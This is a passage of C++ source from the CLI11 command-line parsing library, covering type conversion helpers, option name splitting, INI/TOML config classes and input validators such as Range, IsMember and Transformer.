type_count_min<ConvertTo>::value && is_separator(temp.back())) {\n                temp.pop_back();\n            }\n            typename AssignTo::value_type temp_out;\n            retval = retval &&\n                     lexical_conversion<typename AssignTo::value_type, typename ConvertTo::value_type>(temp, temp_out);\n            temp.clear();\n            if(!retval) {\n                return false;\n            }\n            output.insert(output.end(), std::move(temp_out));\n            icount = 0;\n        }\n    }\n    return retval;\n}\n\n/// conversion for wrapper types\ntemplate <typename AssignTo,\n          class ConvertTo,\n          enable_if_t<classify_object<ConvertTo>::value == object_category::wrapper_value &&\n                          std::is_assignable<ConvertTo &, ConvertTo>::value,\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std::string> &strings, AssignTo &output) {\n    if(strings.empty() || strings.front().empty()) {\n        output = ConvertTo{};\n        return true;\n    }\n    typename ConvertTo::value_type val;\n    if(lexical_conversion<typename ConvertTo::value_type, typename ConvertTo::value_type>(strings, val)) {\n        output = ConvertTo{val};\n        return true;\n    }\n    return false;\n}\n\n/// conversion for wrapper types\ntemplate <typename AssignTo,\n          class ConvertTo,\n          enable_if_t<classify_object<ConvertTo>::value == object_category::wrapper_value &&\n                          !std::is_assignable<AssignTo &, ConvertTo>::value,\n                      detail::enabler> = detail::dummy>\nbool lexical_conversion(const std::vector<std::string> &strings, AssignTo &output) {\n    using ConvertType = typename ConvertTo::value_type;\n    if(strings.empty() || strings.front().empty()) {\n        output = ConvertType{};\n        return true;\n    }\n    ConvertType val;\n    if(lexical_conversion<typename ConvertTo::value_type, typename ConvertTo::value_type>(strings, val)) {\n        output = val;\n        return true;\n    }\n    return false;\n}\n\n/// Sum a vector of strings\ninline std::string sum_string_vector(const std::vector<std::string> &values) {\n    double val{0.0};\n    bool fail{false};\n    std::string output;\n    for(const auto &arg : values) {\n        double tv{0.0};\n        auto comp = lexical_cast(arg, tv);\n        if(!comp) {\n            try {\n                tv = static_cast<double>(detail::to_flag_value(arg));\n            } catch(const std::exception &) {\n                fail = true;\n                break;\n            }\n        }\n        val += tv;\n    }\n    if(fail) {\n        for(const auto &arg : values) {\n            output.append(arg);\n        }\n    } else {\n        if(val <= static_cast<double>((std::numeric_limits<std::int64_t>::min)()) ||\n           val >= static_cast<double>((std::numeric_limits<std::int64_t>::max)()) ||\n           std::ceil(val) == std::floor(val)) {\n            output = detail::value_string(static_cast<int64_t>(val));\n        } else {\n            output = detail::value_string(val);\n        }\n    }\n    return output;\n}\n\n}  // namespace detail\n\n\n\nnamespace detail {\n\n// Returns false if not a short option. Otherwise, sets opt name and rest and returns true\nCLI11_INLINE bool split_short(const std::string &current, std::string &name, std::string &rest);\n\n// Returns false if not a long option. Otherwise, sets opt name and other side of = and returns true\nCLI11_INLINE bool split_long(const std::string &current, std::string &name, std::string &value);\n\n// Returns false if not a windows style option. Otherwise, sets opt name and value and returns true\nCLI11_INLINE bool split_windows_style(const std::string &current, std::string &name, std::string &value);\n\n// Splits a string into multiple long and short names\nCLI11_INLINE std::vector<std::string> split_names(std::string current);\n\n/// extract default flag values either {def} or starting with a !\nCLI11_INLINE std::vector<std::pair<std::string, std::string>> get_default_flag_values(const std::string &str);\n\n/// Get a vector of short names, one of long names, and a single name\nCLI11_INLINE std::tuple<std::vector<std::string>, std::vector<std::string>, std::string>\nget_names(const std::vector<std::string> &input);\n\n}  // namespace detail\n\n\n\nnamespace detail {\n\nCLI11_INLINE bool split_short(const std::string &current, std::string &name, std::string &rest) {\n    if(current.size() > 1 && current[0] == '-' && valid_first_char(current[1])) {\n        name = current.substr(1, 1);\n        rest = current.substr(2);\n        return true;\n    }\n    return false;\n}\n\nCLI11_INLINE bool split_long(const std::string &current, std::string &name, std::string &value) {\n    if(current.size() > 2 && current.substr(0, 2) == \"--\" && valid_first_char(current[2])) {\n        auto loc = current.find_first_of('=');\n        if(loc != std::string::npos) {\n            name = current.substr(2, loc - 2);\n            value = current.substr(loc + 1);\n        } else {\n            name = current.substr(2);\n            value = \"\";\n        }\n        return true;\n    }\n    return false;\n}\n\nCLI11_INLINE bool split_windows_style(const std::string &current, std::string &name, std::string &value) {\n    if(current.size() > 1 && current[0] == '/' && valid_first_char(current[1])) {\n        auto loc = current.find_first_of(':');\n        if(loc != std::string::npos) {\n            name = current.substr(1, loc - 1);\n            value = current.substr(loc + 1);\n        } else {\n            name = current.substr(1);\n            value = \"\";\n        }\n        return true;\n    }\n    return false;\n}\n\nCLI11_INLINE std::vector<std::string> split_names(std::string current) {\n    std::vector<std::string> output;\n    std::size_t val = 0;\n    while((val = current.find(',')) != std::string::npos) {\n        output.push_back(trim_copy(current.substr(0, val)));\n        current = current.substr(val + 1);\n    }\n    output.push_back(trim_copy(current));\n    return output;\n}\n\nCLI11_INLINE std::vector<std::pair<std::string, std::string>> get_default_flag_values(const std::string &str) {\n    std::vector<std::string> flags = split_names(str);\n    flags.erase(std::remove_if(flags.begin(),\n                               flags.end(),\n                               [](const std::string &name) {\n                                   return ((name.empty()) || (!(((name.find_first_of('{') != std::string::npos) &&\n                                                                 (name.back() == '}')) ||\n                                                                (name[0] == '!'))));\n                               }),\n                flags.end());\n    std::vector<std::pair<std::string, std::string>> output;\n    output.reserve(flags.size());\n    for(auto &flag : flags) {\n        auto def_start = flag.find_first_of('{');\n        std::string defval = \"false\";\n        if((def_start != std::string::npos) && (flag.back() == '}')) {\n            defval = flag.substr(def_start + 1);\n            defval.pop_back();\n            flag.erase(def_start, std::string::npos);  // NOLINT(readability-suspicious-call-argument)\n        }\n        flag.erase(0, flag.find_first_not_of(\"-!\"));\n        output.emplace_back(flag, defval);\n    }\n    return output;\n}\n\nCLI11_INLINE std::tuple<std::vector<std::string>, std::vector<std::string>, std::string>\nget_names(const std::vector<std::string> &input) {\n\n    std::vector<std::string> short_names;\n    std::vector<std::string> long_names;\n    std::string pos_name;\n\n    for(std::string name : input) {\n        if(name.length() == 0) {\n            continue;\n        }\n        if(name.length() > 1 && name[0] == '-' && name[1] != '-') {\n            if(name.length() == 2 && valid_first_char(name[1]))\n                short_names.emplace_back(1, name[1]);\n            else\n                throw BadNameString::OneCharName(name);\n        } else if(name.length() > 2 && name.substr(0, 2) == \"--\") {\n            name = name.substr(2);\n            if(valid_name_string(name))\n                long_names.push_back(name);\n            else\n                throw BadNameString::BadLongName(name);\n        } else if(name == \"-\" || name == \"--\") {\n            throw BadNameString::DashesOnly(name);\n        } else {\n            if(pos_name.length() > 0)\n                throw BadNameString::MultiPositionalNames(name);\n            pos_name = name;\n        }\n    }\n\n    return std::make_tuple(short_names, long_names, pos_name);\n}\n\n}  // namespace detail\n\n\n\nclass App;\n\n/// Holds values to load into Options\nstruct ConfigItem {\n    /// This is the list of parents\n    std::vector<std::string> parents{};\n\n    /// This is the name\n    std::string name{};\n\n    /// Listing of inputs\n    std::vector<std::string> inputs{};\n\n    /// The list of parents and name joined by \".\"\n    CLI11_NODISCARD std::string fullname() const {\n        std::vector<std::string> tmp = parents;\n        tmp.emplace_back(name);\n        return detail::join(tmp, \".\");\n    }\n};\n\n/// This class provides a converter for configuration files.\nclass Config {\n  protected:\n    std::vector<ConfigItem> items{};\n\n  public:\n    /// Convert an app into a configuration\n    virtual std::string to_config(const App *, bool, bool, std::string) const = 0;\n\n    /// Convert a configuration into an app\n    virtual std::vector<ConfigItem> from_config(std::istream &) const = 0;\n\n    /// Get a flag value\n    CLI11_NODISCARD virtual std::string to_flag(const ConfigItem &item) const {\n        if(item.inputs.size() == 1) {\n            return item.inputs.at(0);\n        }\n        if(item.inputs.empty()) {\n            return \"{}\";\n        }\n        throw ConversionError::TooManyInputsFlag(item.fullname());  // LCOV_EXCL_LINE\n    }\n\n    /// Parse a config file, throw an error (ParseError:ConfigParseError or FileError) on failure\n    CLI11_NODISCARD std::vector<ConfigItem> from_file(const std::string &name) const {\n        std::ifstream input{name};\n        if(!input.good())\n            throw FileError::Missing(name);\n\n        return from_config(input);\n    }\n\n    /// Virtual destructor\n    virtual ~Config() = default;\n};\n\n/// This converter works with INI/TOML files; to write INI files use ConfigINI\nclass ConfigBase : public Config {\n  protected:\n    /// the character used for comments\n    char commentChar = '#';\n    /// the character used to start an array '\\0' is a default to not use\n    char arrayStart = '[';\n    /// the character used to end an array '\\0' is a default to not use\n    char arrayEnd = ']';\n    /// the character used to separate elements in an array\n    char arraySeparator = ',';\n    /// the character used separate the name from the value\n    char valueDelimiter = '=';\n    /// the character to use around strings\n    char stringQuote = '\"';\n    /// the character to use around single characters\n    char characterQuote = '\\'';\n    /// the maximum number of layers to allow\n    uint8_t maximumLayers{255};\n    /// the separator used to separator parent layers\n    char parentSeparatorChar{'.'};\n    /// Specify the configuration index to use for arrayed sections\n    int16_t configIndex{-1};\n    /// Specify the configuration section that should be used\n    std::string configSection{};\n\n  public:\n    std::string\n    to_config(const App * /*app*/, bool default_also, bool write_description, std::string prefix) const override;\n\n    std::vector<ConfigItem> from_config(std::istream &input) const override;\n    /// Specify the configuration for comment characters\n    ConfigBase *comment(char cchar) {\n        commentChar = cchar;\n        return this;\n    }\n    /// Specify the start and end characters for an array\n    ConfigBase *arrayBounds(char aStart, char aEnd) {\n        arrayStart = aStart;\n        arrayEnd = aEnd;\n        return this;\n    }\n    /// Specify the delimiter character for an array\n    ConfigBase *arrayDelimiter(char aSep) {\n        arraySeparator = aSep;\n        return this;\n    }\n    /// Specify the delimiter between a name and value\n    ConfigBase *valueSeparator(char vSep) {\n        valueDelimiter = vSep;\n        return this;\n    }\n    /// Specify the quote characters used around strings and characters\n    ConfigBase *quoteCharacter(char qString, char qChar) {\n        stringQuote = qString;\n        characterQuote = qChar;\n        return this;\n    }\n    /// Specify the maximum number of parents\n    ConfigBase *maxLayers(uint8_t layers) {\n        maximumLayers = layers;\n        return this;\n    }\n    /// Specify the separator to use for parent layers\n    ConfigBase *parentSeparator(char sep) {\n        parentSeparatorChar = sep;\n        return this;\n    }\n    /// get a reference to the configuration section\n    std::string &sectionRef() { return configSection; }\n    /// get the section\n    CLI11_NODISCARD const std::string &section() const { return configSection; }\n    /// specify a particular section of the configuration file to use\n    ConfigBase *section(const std::string &sectionName) {\n        configSection = sectionName;\n        return this;\n    }\n\n    /// get a reference to the configuration index\n    int16_t &indexRef() { return configIndex; }\n    /// get the section index\n    CLI11_NODISCARD int16_t index() const { return configIndex; }\n    /// specify a particular index in the section to use (-1) for all sections to use\n    ConfigBase *index(int16_t sectionIndex) {\n        configIndex = sectionIndex;\n        return this;\n    }\n};\n\n/// the default Config is the TOML file format\nusing ConfigTOML = ConfigBase;\n\n/// ConfigINI generates a \"standard\" INI compliant output\nclass ConfigINI : public ConfigTOML {\n\n  public:\n    ConfigINI() {\n        commentChar = ';';\n        arrayStart = '\\0';\n        arrayEnd = '\\0';\n        arraySeparator = ' ';\n        valueDelimiter = '=';\n    }\n};\n\n\n\nclass Option;\n\n/// @defgroup validator_group Validators\n\n/// @brief Some validators that are provided\n///\n/// These are simple `std::string(const std::string&)` validators that are useful. They return\n/// a string if the validation fails. A custom struct is provided, as well, with the same user\n/// semantics, but with the ability to provide a new type name.\n/// @{\n\n///\nclass Validator {\n  protected:\n    /// This is the description function, if empty the description_ will be used\n    std::function<std::string()> desc_function_{[]() { return std::string{}; }};\n\n    /// This is the base function that is to be called.\n    /// Returns a string error message if validation fails.\n    std::function<std::string(std::string &)> func_{[](std::string &) { return std::string{}; }};\n    /// The name for search purposes of the Validator\n    std::string name_{};\n    /// A Validator will only apply to an indexed value (-1 is all elements)\n    int application_index_ = -1;\n    /// Enable for Validator to allow it to be disabled if need be\n    bool active_{true};\n    /// specify that a validator should not modify the input\n    bool non_modifying_{false};\n\n    Validator(std::string validator_desc, std::function<std::string(std::string &)> func)\n        : desc_function_([validator_desc]() { return validator_desc; }), func_(std::move(func)) {}\n\n  public:\n    Validator() = default;\n    /// Construct a Validator with just the description string\n    explicit Validator(std::string validator_desc) : desc_function_([validator_desc]() { return validator_desc; }) {}\n    /// Construct Validator from basic information\n    Validator(std::function<std::string(std::string &)> op, std::string validator_desc, std::string validator_name = \"\")\n        : desc_function_([validator_desc]() { return validator_desc; }), func_(std::move(op)),\n          name_(std::move(validator_name)) {}\n    /// Set the Validator operation function\n    Validator &operation(std::function<std::string(std::string &)> op) {\n        func_ = std::move(op);\n        return *this;\n    }\n    /// This is the required operator for a Validator - provided to help\n    /// users (CLI11 uses the member `func` directly)\n    std::string operator()(std::string &str) const;\n\n    /// This is the required operator for a Validator - provided to help\n    /// users (CLI11 uses the member `func` directly)\n    std::string operator()(const std::string &str) const {\n        std::string value = str;\n        return (active_) ? func_(value) : std::string{};\n    }\n\n    /// Specify the type string\n    Validator &description(std::string validator_desc) {\n        desc_function_ = [validator_desc]() { return validator_desc; };\n        return *this;\n    }\n    /// Specify the type string\n    CLI11_NODISCARD Validator description(std::string validator_desc) const;\n\n    /// Generate type description information for the Validator\n    CLI11_NODISCARD std::string get_description() const {\n        if(active_) {\n            return desc_function_();\n        }\n        return std::string{};\n    }\n    /// Specify the type string\n    Validator &name(std::string validator_name) {\n        name_ = std::move(validator_name);\n        return *this;\n    }\n    /// Specify the type string\n    CLI11_NODISCARD Validator name(std::string validator_name) const {\n        Validator newval(*this);\n        newval.name_ = std::move(validator_name);\n        return newval;\n    }\n    /// Get the name of the Validator\n    CLI11_NODISCARD const std::string &get_name() const { return name_; }\n    /// Specify whether the Validator is active or not\n    Validator &active(bool active_val = true) {\n        active_ = active_val;\n        return *this;\n    }\n    /// Specify whether the Validator is active or not\n    CLI11_NODISCARD Validator active(bool active_val = true) const {\n        Validator newval(*this);\n        newval.active_ = active_val;\n        return newval;\n    }\n\n    /// Specify whether the Validator can be modifying or not\n    Validator &non_modifying(bool no_modify = true) {\n        non_modifying_ = no_modify;\n        return *this;\n    }\n    /// Specify the application index of a validator\n    Validator &application_index(int app_index) {\n        application_index_ = app_index;\n        return *this;\n    }\n    /// Specify the application index of a validator\n    CLI11_NODISCARD Validator application_index(int app_index) const {\n        Validator newval(*this);\n        newval.application_index_ = app_index;\n        return newval;\n    }\n    /// Get the current value of the application index\n    CLI11_NODISCARD int get_application_index() const { return application_index_; }\n    /// Get a boolean if the validator is active\n    CLI11_NODISCARD bool get_active() const { return active_; }\n\n    /// Get a boolean if the validator is allowed to modify the input returns true if it can modify the input\n    CLI11_NODISCARD bool get_modifying() const { return !non_modifying_; }\n\n    /// Combining validators is a new validator. Type comes from left validator if function, otherwise only set if the\n    /// same.\n    Validator operator&(const Validator &other) const;\n\n    /// Combining validators is a new validator. Type comes from left validator if function, otherwise only set if the\n    /// same.\n    Validator operator|(const Validator &other) const;\n\n    /// Create a validator that fails when a given validator succeeds\n    Validator operator!() const;\n\n  private:\n    void _merge_description(const Validator &val1, const Validator &val2, const std::string &merger);\n};\n\n/// Class wrapping some of the accessors of Validator\nclass CustomValidator : public Validator {\n  public:\n};\n// The implementation of the built in validators is using the Validator class;\n// the user is only expected to use the const (static) versions (since there's no setup).\n// Therefore, this is in detail.\nnamespace detail {\n\n/// CLI enumeration of different file types\nenum class path_type { nonexistent, file, directory };\n\n/// get the type of the path from a file name\nCLI11_INLINE path_type check_path(const char *file) noexcept;\n\n/// Check for an existing file (returns error message if check fails)\nclass ExistingFileValidator : public Validator {\n  public:\n    ExistingFileValidator();\n};\n\n/// Check for an existing directory (returns error message if check fails)\nclass ExistingDirectoryValidator : public Validator {\n  public:\n    ExistingDirectoryValidator();\n};\n\n/// Check for an existing path\nclass ExistingPathValidator : public Validator {\n  public:\n    ExistingPathValidator();\n};\n\n/// Check for an non-existing path\nclass NonexistentPathValidator : public Validator {\n  public:\n    NonexistentPathValidator();\n};\n\n/// Validate the given string is a legal ipv4 address\nclass IPV4Validator : public Validator {\n  public:\n    IPV4Validator();\n};\n\n}  // namespace detail\n\n// Static is not needed here, because global const implies static.\n\n/// Check for existing file (returns error message if check fails)\nconst detail::ExistingFileValidator ExistingFile;\n\n/// Check for an existing directory (returns error message if check fails)\nconst detail::ExistingDirectoryValidator ExistingDirectory;\n\n/// Check for an existing path\nconst detail::ExistingPathValidator ExistingPath;\n\n/// Check for an non-existing path\nconst detail::NonexistentPathValidator NonexistentPath;\n\n/// Check for an IP4 address\nconst detail::IPV4Validator ValidIPV4;\n\n/// Validate the input as a particular type\ntemplate <typename DesiredType> class TypeValidator : public Validator {\n  public:\n    explicit TypeValidator(const std::string &validator_name)\n        : Validator(validator_name, [](std::string &input_string) {\n              using CLI::detail::lexical_cast;\n              auto val = DesiredType();\n              if(!lexical_cast(input_string, val)) {\n                  return std::string(\"Failed parsing \") + input_string + \" as a \" + detail::type_name<DesiredType>();\n              }\n              return std::string();\n          }) {}\n    TypeValidator() : TypeValidator(detail::type_name<DesiredType>()) {}\n};\n\n/// Check for a number\nconst TypeValidator<double> Number(\"NUMBER\");\n\n/// Modify a path if the file is a particular default location, can be used as Check or transform\n/// with the error return optionally disabled\nclass FileOnDefaultPath : public Validator {\n  public:\n    explicit FileOnDefaultPath(std::string default_path, bool enableErrorReturn = true);\n};\n\n/// Produce a range (factory). Min and max are inclusive.\nclass Range : public Validator {\n  public:\n    /// This produces a range with min and max inclusive.\n    ///\n    /// Note that the constructor is templated, but the struct is not, so C++17 is not\n    /// needed to provide nice syntax for Range(a,b).\n    template <typename T>\n    Range(T min_val, T max_val, const std::string &validator_name = std::string{}) : Validator(validator_name) {\n        if(validator_name.empty()) {\n            std::stringstream out;\n            out << detail::type_name<T>() << \" in [\" << min_val << \" - \" << max_val << \"]\";\n            description(out.str());\n        }\n\n        func_ = [min_val, max_val](std::string &input) {\n            using CLI::detail::lexical_cast;\n            T val;\n            bool converted = lexical_cast(input, val);\n            if((!converted) || (val < min_val || val > max_val)) {\n                std::stringstream out;\n                out << \"Value \" << input << \" not in range [\";\n                out << min_val << \" - \" << max_val << \"]\";\n                return out.str();\n            }\n            return std::string{};\n        };\n    }\n\n    /// Range of one value is 0 to value\n    template <typename T>\n    explicit Range(T max_val, const std::string &validator_name = std::string{})\n        : Range(static_cast<T>(0), max_val, validator_name) {}\n};\n\n/// Check for a non negative number\nconst Range NonNegativeNumber((std::numeric_limits<double>::max)(), \"NONNEGATIVE\");\n\n/// Check for a positive valued number (val>0.0), <double>::min  here is the smallest positive number\nconst Range PositiveNumber((std::numeric_limits<double>::min)(), (std::numeric_limits<double>::max)(), \"POSITIVE\");\n\n/// Produce a bounded range (factory). Min and max are inclusive.\nclass Bound : public Validator {\n  public:\n    /// This bounds a value with min and max inclusive.\n    ///\n    /// Note that the constructor is templated, but the struct is not, so C++17 is not\n    /// needed to provide nice syntax for Range(a,b).\n    template <typename T> Bound(T min_val, T max_val) {\n        std::stringstream out;\n        out << detail::type_name<T>() << \" bounded to [\" << min_val << \" - \" << max_val << \"]\";\n        description(out.str());\n\n        func_ = [min_val, max_val](std::string &input) {\n            using CLI::detail::lexical_cast;\n            T val;\n            bool converted = lexical_cast(input, val);\n            if(!converted) {\n                return std::string(\"Value \") + input + \" could not be converted\";\n            }\n            if(val < min_val)\n                input = detail::to_string(min_val);\n            else if(val > max_val)\n                input = detail::to_string(max_val);\n\n            return std::string{};\n        };\n    }\n\n    /// Range of one value is 0 to value\n    template <typename T> explicit Bound(T max_val) : Bound(static_cast<T>(0), max_val) {}\n};\n\nnamespace detail {\ntemplate <typename T,\n          enable_if_t<is_copyable_ptr<typename std::remove_reference<T>::type>::value, detail::enabler> = detail::dummy>\nauto smart_deref(T value) -> decltype(*value) {\n    return *value;\n}\n\ntemplate <\n    typename T,\n    enable_if_t<!is_copyable_ptr<typename std::remove_reference<T>::type>::value, detail::enabler> = detail::dummy>\ntypename std::remove_reference<T>::type &smart_deref(T &value) {\n    return value;\n}\n/// Generate a string representation of a set\ntemplate <typename T> std::string generate_set(const T &set) {\n    using element_t = typename detail::element_type<T>::type;\n    using iteration_type_t = typename detail::pair_adaptor<element_t>::value_type;  // the type of the object pair\n    std::string out(1, '{');\n    out.append(detail::join(\n        detail::smart_deref(set),\n        [](const iteration_type_t &v) { return detail::pair_adaptor<element_t>::first(v); },\n        \",\"));\n    out.push_back('}');\n    return out;\n}\n\n/// Generate a string representation of a map\ntemplate <typename T> std::string generate_map(const T &map, bool key_only = false) {\n    using element_t = typename detail::element_type<T>::type;\n    using iteration_type_t = typename detail::pair_adaptor<element_t>::value_type;  // the type of the object pair\n    std::string out(1, '{');\n    out.append(detail::join(\n        detail::smart_deref(map),\n        [key_only](const iteration_type_t &v) {\n            std::string res{detail::to_string(detail::pair_adaptor<element_t>::first(v))};\n\n            if(!key_only) {\n                res.append(\"->\");\n                res += detail::to_string(detail::pair_adaptor<element_t>::second(v));\n            }\n            return res;\n        },\n        \",\"));\n    out.push_back('}');\n    return out;\n}\n\ntemplate <typename C, typename V> struct has_find {\n    template <typename CC, typename VV>\n    static auto test(int) -> decltype(std::declval<CC>().find(std::declval<VV>()), std::true_type());\n    template <typename, typename> static auto test(...) -> decltype(std::false_type());\n\n    static const auto value = decltype(test<C, V>(0))::value;\n    using type = std::integral_constant<bool, value>;\n};\n\n/// A search function\ntemplate <typename T, typename V, enable_if_t<!has_find<T, V>::value, detail::enabler> = detail::dummy>\nauto search(const T &set, const V &val) -> std::pair<bool, decltype(std::begin(detail::smart_deref(set)))> {\n    using element_t = typename detail::element_type<T>::type;\n    auto &setref = detail::smart_deref(set);\n    auto it = std::find_if(std::begin(setref), std::end(setref), [&val](decltype(*std::begin(setref)) v) {\n        return (detail::pair_adaptor<element_t>::first(v) == val);\n    });\n    return {(it != std::end(setref)), it};\n}\n\n/// A search function that uses the built in find function\ntemplate <typename T, typename V, enable_if_t<has_find<T, V>::value, detail::enabler> = detail::dummy>\nauto search(const T &set, const V &val) -> std::pair<bool, decltype(std::begin(detail::smart_deref(set)))> {\n    auto &setref = detail::smart_deref(set);\n    auto it = setref.find(val);\n    return {(it != std::end(setref)), it};\n}\n\n/// A search function with a filter function\ntemplate <typename T, typename V>\nauto search(const T &set, const V &val, const std::function<V(V)> &filter_function)\n    -> std::pair<bool, decltype(std::begin(detail::smart_deref(set)))> {\n    using element_t = typename detail::element_type<T>::type;\n    // do the potentially faster first search\n    auto res = search(set, val);\n    if((res.first) || (!(filter_function))) {\n        return res;\n    }\n    // if we haven't found it do the longer linear search with all the element translations\n    auto &setref = detail::smart_deref(set);\n    auto it = std::find_if(std::begin(setref), std::end(setref), [&](decltype(*std::begin(setref)) v) {\n        V a{detail::pair_adaptor<element_t>::first(v)};\n        a = filter_function(a);\n        return (a == val);\n    });\n    return {(it != std::end(setref)), it};\n}\n\n// the following suggestion was made by Nikita Ofitserov(@himikof)\n// done in templates to prevent compiler warnings on negation of unsigned numbers\n\n/// Do a check for overflow on signed numbers\ntemplate <typename T>\ninline typename std::enable_if<std::is_signed<T>::value, T>::type overflowCheck(const T &a, const T &b) {\n    if((a > 0) == (b > 0)) {\n        return ((std::numeric_limits<T>::max)() / (std::abs)(a) < (std::abs)(b));\n    }\n    return ((std::numeric_limits<T>::min)() / (std::abs)(a) > -(std::abs)(b));\n}\n/// Do a check for overflow on unsigned numbers\ntemplate <typename T>\ninline typename std::enable_if<!std::is_signed<T>::value, T>::type overflowCheck(const T &a, const T &b) {\n    return ((std::numeric_limits<T>::max)() / a < b);\n}\n\n/// Performs a *= b; if it doesn't cause integer overflow. Returns false otherwise.\ntemplate <typename T> typename std::enable_if<std::is_integral<T>::value, bool>::type checked_multiply(T &a, T b) {\n    if(a == 0 || b == 0 || a == 1 || b == 1) {\n        a *= b;\n        return true;\n    }\n    if(a == (std::numeric_limits<T>::min)() || b == (std::numeric_limits<T>::min)()) {\n        return false;\n    }\n    if(overflowCheck(a, b)) {\n        return false;\n    }\n    a *= b;\n    return true;\n}\n\n/// Performs a *= b; if it doesn't equal infinity. Returns false otherwise.\ntemplate <typename T>\ntypename std::enable_if<std::is_floating_point<T>::value, bool>::type checked_multiply(T &a, T b) {\n    T c = a * b;\n    if(std::isinf(c) && !std::isinf(a) && !std::isinf(b)) {\n        return false;\n    }\n    a = c;\n    return true;\n}\n\n}  // namespace detail\n/// Verify items are in a set\nclass IsMember : public Validator {\n  public:\n    using filter_fn_t = std::function<std::string(std::string)>;\n\n    /// This allows in-place construction using an initializer list\n    template <typename T, typename... Args>\n    IsMember(std::initializer_list<T> values, Args &&...args)\n        : IsMember(std::vector<T>(values), std::forward<Args>(args)...) {}\n\n    /// This checks to see if an item is in a set (empty function)\n    template <typename T> explicit IsMember(T &&set) : IsMember(std::forward<T>(set), nullptr) {}\n\n    /// This checks to see if an item is in a set: pointer or copy version. You can pass in a function that will filter\n    /// both sides of the comparison before computing the comparison.\n    template <typename T, typename F> explicit IsMember(T set, F filter_function) {\n\n        // Get the type of the contained item - requires a container have ::value_type\n        // if the type does not have first_type and second_type, these are both value_type\n        using element_t = typename detail::element_type<T>::type;             // Removes (smart) pointers if needed\n        using item_t = typename detail::pair_adaptor<element_t>::first_type;  // Is value_type if not a map\n\n        using local_item_t = typename IsMemberType<item_t>::type;  // This will convert bad types to good ones\n                                                                   // (const char * to std::string)\n\n        // Make a local copy of the filter function, using a std::function if not one already\n        std::function<local_item_t(local_item_t)> filter_fn = filter_function;\n\n        // This is the type name for help, it will take the current version of the set contents\n        desc_function_ = [set]() { return detail::generate_set(detail::smart_deref(set)); };\n\n        // This is the function that validates\n        // It stores a copy of the set pointer-like, so shared_ptr will stay alive\n        func_ = [set, filter_fn](std::string &input) {\n            using CLI::detail::lexical_cast;\n            local_item_t b;\n            if(!lexical_cast(input, b)) {\n                throw ValidationError(input);  // name is added later\n            }\n            if(filter_fn) {\n                b = filter_fn(b);\n            }\n            auto res = detail::search(set, b, filter_fn);\n            if(res.first) {\n                // Make sure the version in the input string is identical to the one in the set\n                if(filter_fn) {\n                    input = detail::value_string(detail::pair_adaptor<element_t>::first(*(res.second)));\n                }\n\n                // Return empty error string (success)\n                return std::string{};\n            }\n\n            // If you reach this point, the result was not found\n            return input + \" not in \" + detail::generate_set(detail::smart_deref(set));\n        };\n    }\n\n    /// You can pass in as many filter functions as you like, they nest (string only currently)\n    template <typename T, typename... Args>\n    IsMember(T &&set, filter_fn_t filter_fn_1, filter_fn_t filter_fn_2, Args &&...other)\n        : IsMember(\n              std::forward<T>(set),\n              [filter_fn_1, filter_fn_2](std::string a) { return filter_fn_2(filter_fn_1(a)); },\n              other...) {}\n};\n\n/// definition of the default transformation object\ntemplate <typename T> using TransformPairs = std::vector<std::pair<std::string, T>>;\n\n/// Translate named items to other or a value set\nclass Transformer : public Validator {\n  public:\n    using filter_fn_t = std::function<std::string(std::string)>;\n\n    /// This allows in-place construction\n    template <typename... Args>\n    Transformer(std::initializer_list<std::pair<std::string, std::string>> values, Args &&...args)\n        : Transformer(TransformPairs<std::string>(values), std::forward<Args>(args)...) {}\n\n    /// direct map of std::string to std::string\n    template <typename T> explicit Transformer(T &&mapping) : Transformer(std::forward<T>(mapping), nullptr) {}\n\n    /// This checks to see if an item is in a set: pointer or copy version. You can pass in a function that will filter\n    /// both sides of the comparison before computing the comparison.\n    template <typename T, typename F> explicit Transformer(T mapping, F filter_function) {\n\n        static_assert(detail::pair_adaptor<typename detail::element_type<T>::type>::value,\n                      \"mapping must produce value pairs\");\n        // Get the type of the contained item - requires a container have ::value_type\n        // if the type does not have first_type and second_type, these are both value_type\n        using element_t = typename detail::element_type<T>::type;             // Removes (smart) pointers if needed\n        using item_t = typename detail::pair_adaptor<element_t>::first_type;  // Is value_type if not a map\n        using local_item_t = typename IsMemberType<item_t>::type;             // Will convert bad types to good ones\n                                                                              // (const char * to std::string)\n\n        // Make a local copy of the filter function, using a std::function if not one already\n        std::function<local_item_t(local_item_t)> filter_fn = filter_function;\n\n        // This is the type name for help, it will take the current version of the set contents\n        desc_function_ = [mapping]() { return detail::generate_map(detail::smart_deref(mapping)); };\n\n        func_ = [mapping, filter_fn](std::string &input) {\n            using CLI::detail::lexical_cast;\n            local_item_t b;\n            if(!lexical_cast(input, b)) {\n                return std::string();\n                // there is no possible way we can match anything in the mapping if we can't convert so just return\n            }\n            if(filter_fn) {\n                b = filter_fn(b);\n            }\n            auto res = detail::search(mapping, b, filter_fn);\n            if(res.first) {\n                input = detail::value_string(detail::pair_adaptor<element_t>::second(*res.second));\n            }\n            return std::string{};\n        };\n    }\n\n    /// You can pass in as many filter functions as you like, they nest\n    template <typename T, typename... Args>\n    Transformer(T &&mapping, filter_fn_t filter_fn_1, filter_fn_t filter_fn_2, Args &&...other)\n        : Transformer(\n              std::forward<T>(mapping),\n              [filter_fn_1, filter_fn_2](std::string a) { return filter_fn_2(filter_fn_1(a)); },\n              other...) {}\n};\n\n/// translate named items to other or a value set\nclass CheckedTransformer : public Validator {\n  public:\n    using filter_fn_t = std::function<std::string(std::string)>;\n\n    /// This allows in-place construction\n    template <typename... Args>\n    CheckedTransformer(std::initializer_list<std::pair<std::string, std::string>> values, Args &&...args)\n        : CheckedTransformer(TransformPairs<std::string>(values), std::forward<Args>(args)...) {}\n\n    /// direct map of std::string to std::string\n    template <typename T> explicit CheckedTransformer(T mapping) : CheckedTransformer(std::move(mapping), nullptr) {}\n\n    /// This checks to see if an item is in a set: pointer or copy version. You can pass in a function that will filter\n    /// both sides of the comparison before computing the comparison.\n    template <typename T, typename F> explicit CheckedTransformer(T mapping, F filter_function) {\n\n        static_assert(detail::pair_adaptor<typename detail::element_type<T>::type>::value,\n                      \"mapping must produce value pairs\");\n        // Get the type of the contained item - requires a container have ::value_type\n        // if the type does not have first_type and second_type, these are both value_type\n        using element_t = typename detail::element_type<T>::type;             // Removes (smart) pointers if needed\n        using item_t = typename detail::pair_adaptor<element_t>::first_type;  // Is value_type if not a map\n        using local_item_t = typename IsMemberType<item_t>::type;             // Will convert bad types to good ones\n                                                                              // (const char * to std::string)\n        